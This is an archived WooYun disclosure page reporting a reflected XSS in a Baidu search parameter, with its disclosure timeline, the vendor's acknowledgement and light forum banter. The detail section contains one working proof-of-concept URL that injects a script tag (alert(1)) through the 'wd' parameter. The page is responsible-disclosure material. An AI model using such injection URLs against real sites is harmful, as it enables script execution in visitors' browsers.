当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0108917

漏洞标题：百度首页某常用搜索参数再次XSS

相关厂商：百度

漏洞作者： YuTian

提交时间：2015-04-20 12:32

修复时间：2015-06-06 16:44

公开时间：2015-06-06 16:44

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-20： 细节已通知厂商并且等待厂商处理中
2015-04-22： 厂商已经确认，细节仅向厂商公开
2015-05-02： 细节向核心白帽子及相关领域专家公开
2015-05-12： 细节向普通白帽子公开
2015-05-22： 细节向实习白帽子公开
2015-06-06： 细节向公众公开

简要描述：

百度首页某常用搜索参数再次XSS

详细说明：

http://www.baidu.com/s?wd=site%3A%3Cscript%3Ea%3D%2F*bbbbbbbbbbbb*%2Falert%281%29%2F%2F

漏洞证明：

baidu_XSS.png

修复方案：

：）

版权声明：转载请注明来源 YuTian@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-04-22 16:43

厂商回复：

感谢关注，已提交相关部门处理

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-20 12:41 | 孤独行者 ( 普通白帽子 | Rank:110 漏洞数:44 | 时光如水，总是无言。你若安好，便是晴天)

    洞主时隔2年再次提交漏洞意义为何。洞主上次提交腾讯被忽略，这次还会被忽略么？洞主菊花大现xss也能首显是为何？有请大家收看今晚的《洞主的回归与献菊花给谁之谜》

  2. 2015-04-20 12:45 | ‮ ( 路人 | Rank:17 漏洞数:4 | -->‮)

    坐好板凳

  3. 2015-04-20 12:47 | YuTian ( 路人 | Rank:29 漏洞数:4 | 兴趣决定一切)

    @孤独行者 ...

  4. 2015-04-20 12:51 | 孤独行者 ( 普通白帽子 | Rank:110 漏洞数:44 | 时光如水，总是无言。你若安好，便是晴天)

    @YuTian 让我们来一探洞主的内心世界。。。。洞主你好：请问时隔两年才提交漏洞，期间有何艰辛？有何不堪的回忆否？

  5. 2015-04-20 13:04 | 无名 ( 实习白帽子 | Rank:41 漏洞数:9 | 我是一只小菜鸟呀，伊雅伊尔哟。)

    赞。。。

  6. 2015-04-20 15:14 | 鬼五 ( 普通白帽子 | Rank:214 漏洞数:83 )

    @孤独行者 那啥，哥拍一下俺，俺乡下来的还没上过电视，你就让俺上一次电视吧

  7. 2015-04-20 15:24 | 孤独行者 ( 普通白帽子 | Rank:110 漏洞数:44 | 时光如水，总是无言。你若安好，便是晴天)

    @鬼五 10wb一次。。谢谢

  8. 2015-04-20 16:04 | 放开那个漏洞,让我来 ( 路人 | Rank:20 漏洞数:2 | 正在尝试加载简介中.........)

    前排占位。

  9. 2015-04-20 17:56 | kaysen ( 路人 | Rank:8 漏洞数:3 | 折腾Python、Php、Linux)

    @孤独行者 人才